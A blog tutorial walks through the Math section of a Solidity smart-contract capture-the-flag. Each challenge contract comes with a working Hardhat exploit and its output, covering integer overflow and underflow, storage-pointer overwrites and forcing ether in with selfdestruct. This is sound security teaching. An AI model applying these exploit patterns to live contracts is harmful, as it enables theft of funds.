Backend / DevOps / Architect
Brit by birth,
located worldwide

All content © Alex Shepherd 2008-2024
unless otherwise noted

Learning Smart Contract Security - Part 3

Published
19 min read
image
Image Credit: ethereum.org

Continuing on from the last article, where we explored why "private" state variables were less than private, and how sources of randomness could be less than random in a few situations when developing Smart Contracts in Solidity, today we're going to learn how maths can be a stumbling-block in the process of ensuring our Smart Contracts' integrity.

This article is a fair epic, so here are links to each section for your convenience:

  1. Token Sale
  2. Token Whale
  3. Retirement Fund
  4. Mapping
  5. Donation
  6. Fifty Years

And if you just want to go and check out the finished code, it's all available on Github.

Let's jump in...

TokenSaleChallenge

Let's start out with the first Math challenge - Token Sale.

contracts/math/TokenSale.sol
pragma solidity ^0.4.21;

contract TokenSaleChallenge {
    mapping(address => uint256) public balanceOf;
    uint256 constant PRICE_PER_TOKEN = 1 ether;

    function TokenSaleChallenge(address _player) public payable {
        require(msg.value == 1 ether);
    }

    function isComplete() public view returns (bool) {
        return address(this).balance < 1 ether;
    }

    function buy(uint256 numTokens) public payable {
        require(msg.value == numTokens * PRICE_PER_TOKEN);

        balanceOf[msg.sender] += numTokens;
    }

    function sell(uint256 numTokens) public {
        require(balanceOf[msg.sender] >= numTokens);

        balanceOf[msg.sender] -= numTokens;
        msg.sender.transfer(numTokens * PRICE_PER_TOKEN);
    }
}

At first glance, it looks pretty self-explanatory - buy tokens for 1 ETH each, and sell them for the same value. Looking in a litte more depth, the thing that we first notice about this Smart Contract is the lack of bounds control on the uint256 numTokens parameter on the buy method. Because 1 ether is just syntactical sugar for 1018, and a uint256 is limited to a maximum value of 2256-1, that leaves us with a potential unchecked overlap of 1018. Solidity only introduced integer over and underflow protection in v0.8.0. In prior versions, and integer over or underflow wraps back through the whole range. This should means that if we pass numTokens as (2256/1018)+1, we overflow the uint256 back past 0. Also notice that in this challenge, in order to pass we don't have to drain the account, we just have to reduce the balance below 1 ether. Let's try something out by adding some debug logging to the Smart Contract via Hardhat's console.log function.

diff --git a/contracts/math/TokenSaleChallenge.sol b/contracts/math/TokenSaleChallenge.sol
index 3f8546f..3a3bcac 100644
--- a/contracts/math/TokenSaleChallenge.sol
+++ b/contracts/math/TokenSaleChallenge.sol
@@ -1,5 +1,7 @@
 pragma solidity ^0.4.21;

+import "hardhat/console.sol";
+
 contract TokenSaleChallenge {
     mapping(address => uint256) public balanceOf;
     uint256 constant PRICE_PER_TOKEN = 1 ether;
@@ -13,6 +15,7 @@ contract TokenSaleChallenge {
     }

     function buy(uint256 numTokens) public payable {
+        console.log("Overflow: %s", numTokens * PRICE_PER_TOKEN);
         require(msg.value == numTokens * PRICE_PER_TOKEN);

         balanceOf[msg.sender] += numTokens;

Now if we call the contract with our overflowed value, we'll be able to see how many Wei we need to send with the transaction in order to pass the requirement.

test/math/token-sale.ts
import { expect } from "chai";
import { BigNumber } from "ethers";
import { ethers } from "hardhat";

describe("TokenSaleChallenge", function () {
  it("should return true if we steal all the contract's ether", async function () {
    const [, player] = await ethers.getSigners();

    const Challenge = await ethers.getContractFactory("TokenSaleChallenge");

    const challenge = await Challenge.deploy(player.address, {
      value: ethers.utils.parseEther("1"),
    });
    await challenge.deployed();

    const buyTx = await challenge
      .connect(player)
      .buy(
        ethers.constants.MaxUint256.div(
          BigNumber.from(ethers.utils.parseEther("1"))
        ).add(1)
      );

    await buyTx.wait();
  });
});

Running this test with npx hardhat test test/math/token-sale-challenge.ts gives us the following output:

Compiling 1 file with 0.4.25
contracts/math/TokenSale.sol:9:5: Warning: Defining constructors as functions with the same name as the contract is deprecated. Use "constructor(...) { ... }" instead.
    function TokenSaleChallenge(address _player) public payable {
    ^ (Relevant source part starts here and spans across multiple lines).

contracts/math/TokenSale.sol:9:33: Warning: Unused function parameter. Remove or comment out the variable name to silence this warning.
    function TokenSaleChallenge(address _player) public payable {
                                ^-------------^

Generating typings for: 1 artifacts in dir: typechain for target: ethers-v5
Successfully generated 5 typings!
Solidity compilation finished successfully


  TokenSaleChallenge
Overflow: 415992086870360064
    1) should return true if we steal all the contract's ether


  0 passing (815ms)
  1 failing

  1) TokenSaleChallenge
       should return true if we steal all the contract's ether:
     Error: Transaction reverted without a reason string
      at <UnrecognizedContract>.<unknown> (0x5fbdb2315678afecb367f032d93f642f64180aa3)
      at async HardhatNode._mineBlockWithPendingTxs (node_modules/hardhat/src/internal/hardhat-network/provider/node.ts:1651:23)
      at async HardhatNode.mineBlock (node_modules/hardhat/src/internal/hardhat-network/provider/node.ts:458:16)
      at async EthModule._sendTransactionAndReturnHash (node_modules/hardhat/src/internal/hardhat-network/provider/modules/eth.ts:1496:18)
      at async HardhatNetworkProvider.request (node_modules/hardhat/src/internal/hardhat-network/provider/provider.ts:117:18)
      at async EthersProviderWrapper.send (node_modules/@nomiclabs/hardhat-ethers/src/internal/ethers-provider-wrapper.ts:13:20)

There we go - if we send 415992086870360064 Wei as the value, we should trick the contract into giving us a huge number of tokens. Let's try that out:

diff --git a/test/math/token-sale-challenge.ts b/test/math/token-sale-challenge.ts
index 9f3e20a..9c11352 100644
--- a/test/math/token-sale-challenge.ts
+++ b/test/math/token-sale-challenge.ts
@@ -18,9 +18,14 @@ describe("TokenSaleChallenge", function () {
       .buy(
         ethers.constants.MaxUint256.div(
           BigNumber.from(ethers.utils.parseEther("1"))
-        ).add(1)
+        ).add(1),
+        {
+          value: BigNumber.from("415992086870360064"),
+        }
       );

     await buyTx.wait();
+
+    console.log(await ethers.provider.getBalance(player.address));
   });
 });

If we remove our logs from the contract and then run our test again, we'll see the following:

Compiling 1 file with 0.4.25
contracts/math/TokenSale.sol:7:5: Warning: Defining constructors as functions with the same name as the contract is deprecated. Use "constructor(...) { ... }" instead.
    function TokenSaleChallenge(address _player) public payable {
    ^ (Relevant source part starts here and spans across multiple lines).

contracts/math/TokenSale.sol:7:33: Warning: Unused function parameter. Remove or comment out the variable name to silence this warning.
    function TokenSaleChallenge(address _player) public payable {
                                ^-------------^

Generating typings for: 1 artifacts in dir: typechain for target: ethers-v5
Successfully generated 5 typings!
Solidity compilation finished successfully


  TokenSaleChallenge
BigNumber { value: "9999583930224367615134" }
    ✓ should return true if we reduce the contract's ether below 1 (583ms)


  1 passing (586ms)

Well - that definitely worked! We now have almost 10 sextillion tokens! The rest of the challenge is fairly simple. Unfortunately the contract only has 2 ether in it, so the vast majority of these tokens are of no use to us, but we can at least sell one of them and beat the challenge.

diff --git a/test/math/token-sale-challenge.ts b/test/math/token-sale-challenge.ts
index 9c11352..370f809 100644
--- a/test/math/token-sale-challenge.ts
+++ b/test/math/token-sale-challenge.ts
@@ -26,6 +26,9 @@ describe("TokenSaleChallenge", function () {

     await buyTx.wait();

-    console.log(await ethers.provider.getBalance(player.address));
+    const sellTx = await challenge.connect(player).sell(1);
+    await sellTx.wait();
+
+    expect(await challenge.isComplete()).to.equal(true);
   });
 });

Run your test now and you'll see that it succeeds! One thing to note is that it should technically be possible to drain the contract completely, but we'll not get into that now - we'll explore ways to do that later on in the series.

TokenWhaleChallenge

Looking at our Smart Contract's code, we can see that the developer has got wise to our funny business with overflowing integers, and has added some further requirements to the transfer method.

contracts/math/TokenWhaleChallenge.sol
pragma solidity ^0.4.21;

contract TokenWhaleChallenge {
    address player;

    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    string public name = "Simple ERC20 Token";
    string public symbol = "SET";
    uint8 public decimals = 18;

    function TokenWhaleChallenge(address _player) public {
        player = _player;
        totalSupply = 1000;
        balanceOf[player] = 1000;
    }

    function isComplete() public view returns (bool) {
        return balanceOf[player] >= 1000000;
    }

    event Transfer(address indexed from, address indexed to, uint256 value);

    function _transfer(address to, uint256 value) internal {
        balanceOf[msg.sender] -= value;
        balanceOf[to] += value;

        emit Transfer(msg.sender, to, value);
    }

    function transfer(address to, uint256 value) public {
        require(balanceOf[msg.sender] >= value);
        require(balanceOf[to] + value >= balanceOf[to]);

        _transfer(to, value);
    }

    event Approval(address indexed owner, address indexed spender, uint256 value);

    function approve(address spender, uint256 value) public {
        allowance[msg.sender][spender] = value;
        emit Approval(msg.sender, spender, value);
    }

    function transferFrom(address from, address to, uint256 value) public {
        require(balanceOf[from] >= value);
        require(balanceOf[to] + value >= balanceOf[to]);
        require(allowance[from][msg.sender] >= value);

        allowance[from][msg.sender] -= value;
        _transfer(to, value);
    }
}

However they have implemented the transferFrom method quite badly wrong. Notice that it calls the _transfer method at the end, which always affects the balance of msg.sender, not the balance of the from account. So as long as we can pass the checks in the transferFrom method, we can then exploit the fact that in the same way that integers can be overflowed back to 0, they can also be underflowed back to 2256-1.

To do this, we need to approve another wallet which has a token balance of 0, to transfer tokens from our account. Then this other account can call transferFrom on the player account, and we'll see that the second account's balance has wrapped back round to 2256-1. Then the second account can just transfer as many tokens as we want to the player account to let us complete the challenge. Let's check that our logic for the first part is right:

test/math/token-whale-challenge.ts
import { expect } from "chai";
import { ethers } from "hardhat";

describe("TokenWhaleChallenge", function () {
  it("should return true if we increase the player's token balance to over 1 million tokens", async function () {
    const [, player, helper] = await ethers.getSigners();

    const Challenge = await ethers.getContractFactory("TokenWhaleChallenge");

    const challenge = await Challenge.deploy(player.address);
    await challenge.deployed();

    const approvalTx = await challenge
      .connect(player)
      .approve(helper.address, 10 * 10 ** 8);
    await approvalTx.wait();

    // It doesn't matter who we transfer tokens to, because the contract has no
    // restrictions on this, and it doesn't affect the test to do it this way.
    const transferTx1 = await challenge
      .connect(helper)
      .transferFrom(player.address, player.address, 1);
    await transferTx1.wait();

    console.log(await challenge.balanceOf(helper.address));
  });
});

Now if we run this test with npx hardhat test test/math/token-whale-challenge.ts, we get the following output:

  TokenWhaleChallenge
BigNumber { value: "115792089237316195423570985008687907853269984665640564039457584007913129639935" }
    ✓ should return true if we increase the player's token balance to over 1 million tokens (717ms)


  1 passing (719ms)

That is definitely more than 1 million tokens! Exactly as expected, it is equal to ethers.constants.MaxUint256. Now we just need to transfer some of these tokens to the player's account:

diff --git a/test/math/token-whale-challenge.ts b/test/math/token-whale-challenge.ts
index 9c7c877..7655280 100644
--- a/test/math/token-whale-challenge.ts
+++ b/test/math/token-whale-challenge.ts
@@ -22,6 +22,13 @@ describe("TokenWhaleChallenge", function () {
       .transferFrom(player.address, player.address, 1);
     await transferTx1.wait();

-    console.log(await challenge.balanceOf(helper.address));
+    // It doesn't matter who we transfer tokens to, because the contract has no
+    // restrictions on this, and it doesn't affect the test to do it this way.
+    const transferTx2 = await challenge
+      .connect(helper)
+      .transfer(player.address, 10 ** 6);
+    await transferTx2.wait();
+
+    expect(await challenge.isComplete()).to.equal(true);
   });
 });

Tada! Our player account now has 1,001,001 tokens!

RetirementFundChallenge

The Retirement Fund challenge is another underflow-based challenge. Looking at the code, you can see that uint256 withdrawn in the collectPenalty method has no bounds checking. So if we can force address(this).balance to be greater than startBalance, we should be able to drain the contract.

contracts/math/RetirementFundChallenge.sol
pragma solidity ^0.4.21;

contract RetirementFundChallenge {
    uint256 startBalance;
    address owner = msg.sender;
    address beneficiary;
    uint256 expiration = now + 10 years;

    function RetirementFundChallenge(address player) public payable {
        require(msg.value == 1 ether);

        beneficiary = player;
        startBalance = msg.value;
    }

    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }

    function withdraw() public {
        require(msg.sender == owner);

        if (now < expiration) {
            // early withdrawal incurs a 10% penalty
            msg.sender.transfer((address(this).balance * 9) / 10);
        } else {
            msg.sender.transfer(address(this).balance);
        }
    }

    function collectPenalty() public {
        require(msg.sender == beneficiary);

        uint256 withdrawn = startBalance - address(this).balance;

        // an early withdrawal occurred
        require(withdrawn > 0);

        // penalty is what's left
        msg.sender.transfer(address(this).balance);
    }
}

We can trigger this by using the EVM opcode selfdestruct, which removes all of a contract's data from the blockchain, and sends any ETH in the contract to an address of the contract's choosing. This can be (ab)used to force ETH into any account or smart contract. This forced sending of ETH cannot be prevented - meaning we should never rely on the balance of a contract being any specific value. To implement this, we write a contract that does nothing but allow us to blow it up and send an amount of ETH in the transaction.

contracts/math/solvers/RetirementFundSolver.sol
pragma solidity ^0.4.21;

contract RetirementFundSolver {
    address owner;

    constructor() public {
        owner = msg.sender;
    }

    function die(address target) public payable {
        require(msg.sender == owner, "Access denied");
        require(msg.value > 0, "Must have a value");

        selfdestruct(target);
    }
}

We apply a basic protection to make sure that we're the only ones who can call the die method, but other than that it's a very simple contract. We then call this in our test and send 1 wei, causing startBalance - address(this).balance to underflow to (2**256)-1 - significantly > 0.

test/math/retirement-fund-challenge.ts
import { expect } from "chai";
import { ethers } from "hardhat";

import { expect } from "chai";
import { ethers } from "hardhat";

describe("RetirementFundChallenge", function () {
  it("should return true if we empty the retirement fund", async function () {
    const [, player] = await ethers.getSigners();

    const Challenge = await ethers.getContractFactory(
      "RetirementFundChallenge"
    );
    const challenge = await Challenge.deploy(player.address, {
      value: ethers.utils.parseEther("1"),
    });
    await challenge.deployed();

    const Solver = await ethers.getContractFactory("RetirementFundSolver");
    const solver = await Solver.deploy();
    await solver.deployed();

    await solver.die(challenge.address, {
      value: 1,
    });

    await challenge.connect(player).collectPenalty();

    expect(await challenge.isComplete()).to.equal(true);
  });
});

A quick run shows that the test passes - we've cleared out the fund!

MappingChallenge

This challenge shows us how important it is to understand exactly how the EVM stores data. We've covered overwriting storage addresses previously, but here we look in some depth at how arrays are stored, and how that can be abused if proper care isn't taken to sanitise user input. This contract has just 2 storage variables - isComplete, and a uint256 array.

contracts/math/MappingChallenge.sol
pragma solidity ^0.4.21;

contract MappingChallenge {
    bool public isComplete;
    uint256[] map;

    function set(uint256 key, uint256 value) public {
        // Expand dynamic array as needed
        if (map.length <= key) {
            map.length = key + 1;
        }

        map[key] = value;
    }

    function get(uint256 key) public view returns (uint256) {
        return map[key];
    }
}

Now, as we've discussed before, EVM storage is basically just a gigantic map of uint256 keys to uint256 values... Which is exactly what this contract has implemented! Sounds like it's ripe for overwriting isComplete with a value of our choice, as there will be a place at which these two overlap. What we need to do is figure out where exactly the overlap will occur, and then we should just be able to set the value by passing the correct index as the set method's key parameter and 1 as the value.

When a dynamically sized array is defined as a storage variable, this only actually stores the length of the array in the storage variable. The contents of the array is stored in sequential addresses, starting at keccak256(slot). Our uint256[] map is stored in slot 1, so we can calculate the key at which the array overlaps back to overwrite slot 0 by calculating (2**256)-keccak256(0x1). Our test for this looks as follows:

test/math/mapping-challenge.ts
import { expect } from "chai";
import { ethers } from "hardhat";

describe("MappingChallenge", function () {
  it("should return true if we force the value of isComplete to be 1", async function () {
    const Challenge = await ethers.getContractFactory("MappingChallenge");
    const challenge = await Challenge.deploy();
    await challenge.deployed();

    const slot = ethers.utils.hexZeroPad("0x1", 32);
    const arrayLoc = ethers.utils.keccak256(slot);

    const overflowLoc = ethers.constants.MaxUint256.sub(arrayLoc).add(1);

    const setTx = await challenge.set(overflowLoc, 1);
    await setTx.wait();

    expect(await challenge.isComplete()).to.equal(true);
  });
});

Nice and simple - we've used some useful helpers from ethers.js to simplify the calculations. Running this shows that it passes! On to the next challenge.

DonationChallenge

This challenge contains some frankly bizarre mistakes. The docs don't match the logic, to the point where the contract wouldn't even have worked for a simple usability test. However it also does teach us something useful and not very intuitive about instantiating structs.

contracts/math/DonationChallenge.sol
pragma solidity ^0.4.21;

contract DonationChallenge {
    struct Donation {
        uint256 timestamp;
        uint256 etherAmount;
    }
    Donation[] public donations;

    address public owner;

    function DonationChallenge() public payable {
        require(msg.value == 1 ether);

        owner = msg.sender;
    }

    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }

    function donate(uint256 etherAmount) public payable {
        // amount is in ether, but msg.value is in wei
        uint256 scale = 10**18 * 1 ether;
        require(msg.value == etherAmount / scale);

        Donation donation;
        donation.timestamp = now;
        donation.etherAmount = etherAmount;

        donations.push(donation);
    }

    function withdraw() public {
        require(msg.sender == owner);

        msg.sender.transfer(address(this).balance);
    }
}

What we need to do here to successfully drain the contract, is overwrite the owner variable. If you compile this contract, you'll see the following warning:

Warning: Variable is declared as a storage pointer. Use an explicit "storage" keyword to silence this warning.

Variable declared as a storage pointer means that rather than assigning values to the attributes of a new and empty instance of Donation, when this struct is assigned to, its slots are actually overwriting the contract's own storage slots! So donation.timestamp overwrites donations.length (stored in slot 0, as we explored in the previous test), and donation.etherAmount overwrites owner... There's our route in. Now, how to exploit it?

We have a barrier to calling the donate; it has a requirement, which is quite frankly, totally bat-shit insane. This has fairly clearly been contrived as such to enormously simplify exploiting the contract's vulerability. uint256 scale = 10**18 * 1 ether; - this states that the scale is 10**36, twice the number of decimals that Ethereum has, meaning that while we do need to match the input (we will supply the player's account ID as etherAmount) with a quantity of Wei, the amount of Ropsten ETH that we need to send is pretty small. The amount we need to send is playerAddress / 10**36.

Knowing both of these elements of the exploit, we can write our test:

test/math/donation-challenge.ts
import { expect } from "chai";
import { ethers } from "hardhat";

describe("DonationChallenge", function () {
  it("should return true if we empty the campaign contributions", async function () {
    const [, player] = await ethers.getSigners();

    const Challenge = await ethers.getContractFactory("DonationChallenge");
    const challenge = await Challenge.deploy({
      value: ethers.utils.parseEther("1"),
    });
    await challenge.deployed();

    await challenge.donate(player.address, {
      value: ethers.BigNumber.from(player.address).div(
        ethers.BigNumber.from(10).pow(36)
      ),
    });

    const withdrawTx = await challenge.connect(player).withdraw();
    await withdrawTx.wait();

    expect(await challenge.isComplete()).to.equal(true);
  });
});

Here, we implement the logic we figured out above, and automate the end-to-end exploit and withdrawal process. Another pass! Only one challenge left - the most interesting and most valuable one yet, worth 2000 points!

FiftyYearsChallenge

This challenge requires that we use a variety of tricks that we've learned over the previous exercises in the Math section to exploit it. Some in exactly the way we've used them before, others in a new and interesting way. There are in total 3 steps to fully completing this challenge in the way that I've done. There are other ways to do so, but this is the shortest method that I know of.

If we have a look through the contract, we will see that the main thing we need to do, is figure out a way to call the withdraw method. In order to do this, we need to somehow make sure that the unlockTimestamp on the queue item that we are requesting withdrawal of is set to a UNIX timestamp before now, and also ensure that the donations previous to and including the index we are withdrawing, add up to exactly the balance of the contract.

Ok, so let's first focus on figuring out how to sort the unlockTimestamp issue. Looking at the upsert method, we can see that in the else part of the conditional, contribution is never directly defined, which in this case means that it ends up being both a storage pointer, and being pushed onto the queue as a new Contribution. so we can use this to overwrite our queue.length and head, respectively for msg.value and timestamp. The number of Wei we send ends up being written directly into queue.length, and the timestamp ends up overwriting head. We need to remember this last point, as head needs to be set to the correct value to allow us to withdraw.

In order to get that far, though, we have to first work out how to access this part of the code. The requirement is that the timestamp is greater than or equal to the timestamp of the last item in the queue. We already know we can control queue.length, so that is something we can exploit. The other thing we notice is that there is no bounds checking on the timestamp or unlockTimestamp of the last queue item - so we can quite feasibly overflow that back to 0. Let's start putting together our test and see where we get.

test/math/fifty-years-challenge.ts
import { expect } from "chai";
import { ethers } from "hardhat";

describe("FiftyYearsChallenge", function () {
  it("should return true if we empty the smart contract", async function () {
    const [, player] = await ethers.getSigners();

    const Challenge = await ethers.getContractFactory("FiftyYearsChallenge");
    const challengeDeploy = await Challenge.deploy(player.address, {
      value: ethers.utils.parseEther("1"),
    });
    await challengeDeploy.deployed();

    const challenge = challengeDeploy.connect(player);

    // Add a new Contribution that allows us to overflow `unlockTimestamp` to 0
    const upsertTx = await challenge.upsert(
      1, // Insert at queue position 1
      ethers.constants.MaxUint256.sub(86400 - 1),
      {
        value: 1, // Ensure `queue.length` is 1 before we push
      }
    );
    await upsertTx.wait();

    await challenge.withdraw(1);

    expect(await challengeDeploy.isComplete()).to.equal(true);
  });
});

What we have so far is an upsert operation which sets our last queue item's unlockTimestamp that will overflow back to 0 when we insert another Contribution, but also makes sure that we maintain continuity of queue.length so that we push a new queue item directly after the existing one. We have at this point overwritten head with an absurdly high number, which we will fix in the next part of the test.

diff --git a/test/math/fifty-years-challenge.ts b/test/math/fifty-years-challenge.ts
index ff698ba..decc6cb 100644
--- a/test/math/fifty-years-challenge.ts
+++ b/test/math/fifty-years-challenge.ts
@@ -14,14 +14,20 @@ describe("FiftyYearsChallenge", function () {
     const challenge = challengeDeploy.connect(player);

     // Add a new Contribution that allows us to overflow `unlockTimestamp` to 0
-    const upsertTx = await challenge.upsert(
+    const upsertTx1 = await challenge.upsert(
       1, // Insert at queue position 1
       ethers.constants.MaxUint256.sub(86400 - 1),
       {
         value: 1, // Ensure `queue.length` is 1 before we push
       }
     );
-    await upsertTx.wait();
+    await upsertTx1.wait();
+
+    // Add a new contribution with a timestamp before today
+    const upsertTx2 = await challenge.upsert(2, 0, {
+      value: 2, // Set `queue.length` to 2
+    });
+    await upsertTx2.wait();

     await challenge.withdraw(2);

Ok - so we've now inserted a new item in there with a timestamp before today! Surely this will let us withdraw now? Not yet - the contract currently contains 2 Wei less than the calculated total. To solve this, let's reuse something we wrote earlier - when we needed to force some Ethereum into a contract, we used our trusty selfdestruct contract. Because we wrote that to take an arbitrary target address and an arbitrary amount, we should be able to use that to force 2 wei into the contract without affecting its internal state:

diff --git a/test/math/fifty-years-challenge.ts b/test/math/fifty-years-challenge.ts
index decc6cb..d7ac559 100644
--- a/test/math/fifty-years-challenge.ts
+++ b/test/math/fifty-years-challenge.ts
@@ -29,6 +29,13 @@ describe("FiftyYearsChallenge", function () {
     });
     await upsertTx2.wait();

+    // Force 2 wei into the contract without affecting the stored data
+    const Solver = await ethers.getContractFactory("RetirementFundSolver");
+    const solver = await Solver.deploy();
+    await solver.die(challenge.address, {
+      value: 2,
+    });
+
     await challenge.withdraw(2);

     expect(await challengeDeploy.isComplete()).to.equal(true);

And boom - success! We've done it again! We're done with all the Math challenges. We'll be back next time to smash our way through the Accounts challenges.